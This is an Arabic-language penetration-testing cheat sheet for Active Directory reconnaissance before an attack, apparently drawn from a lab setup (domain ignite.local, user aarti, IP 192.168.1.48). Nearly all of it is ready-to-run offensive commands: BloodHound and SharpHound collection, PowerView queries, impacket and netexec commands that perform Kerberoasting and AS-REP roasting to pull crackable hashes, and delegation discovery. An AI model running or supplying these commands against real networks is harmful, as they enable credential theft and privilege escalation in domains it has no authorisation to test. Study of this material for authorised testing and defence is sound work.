قبل الهجوم، لازم تعرف شو موجود في البيئة. هذه الصفحة تعلمك كيف تكتشف أي ثغرة بالأدوات.
# Linux
bloodhound-python -u aarti -p Password@1 -d ignite.local -dc 192.168.1.48 -c All --zip
# Windows
.\SharpHound.exe -c All --outputdirectory C:\Temp
Queries مهمة:
Find all Kerberoastable Users
Find all AS-REP Roastable Users
Find Computers with Unconstrained Delegation
Find Computers with Constrained Delegation
Find Principals with DCSync Rights
Find Shortest Path to Domain Admins
Get-DomainUser -SPN | select samaccountname, serviceprincipalname, lastlogondate
Get-DomainUser -SPN | Where-Object {$_.admincount -eq 1}
impacket-GetUserSPNs ignite.local/aarti:Password@1 -dc-ip 192.168.1.48
nxc ldap 192.168.1.48 -u aarti -p Password@1 --kerberoasting output.txt
Get-DomainUser -PreauthNotRequired | select samaccountname
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
impacket-GetNPUsers ignite.local/aarti:Password@1 -dc-ip 192.168.1.48
nxc ldap 192.168.1.48 -u aarti -p Password@1 --asreproast output.txt
# Unconstrained
Get-DomainComputer -Unconstrained | select name
Get-DomainUser -Unconstrained
# Constrained
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
impacket-findDelegation ignite.local/aarti:Password@1 -dc-ip 192.168.1.48
nxc ldap 192.168.1.48 -u aarti -p Password@1 --trusted-for-delegation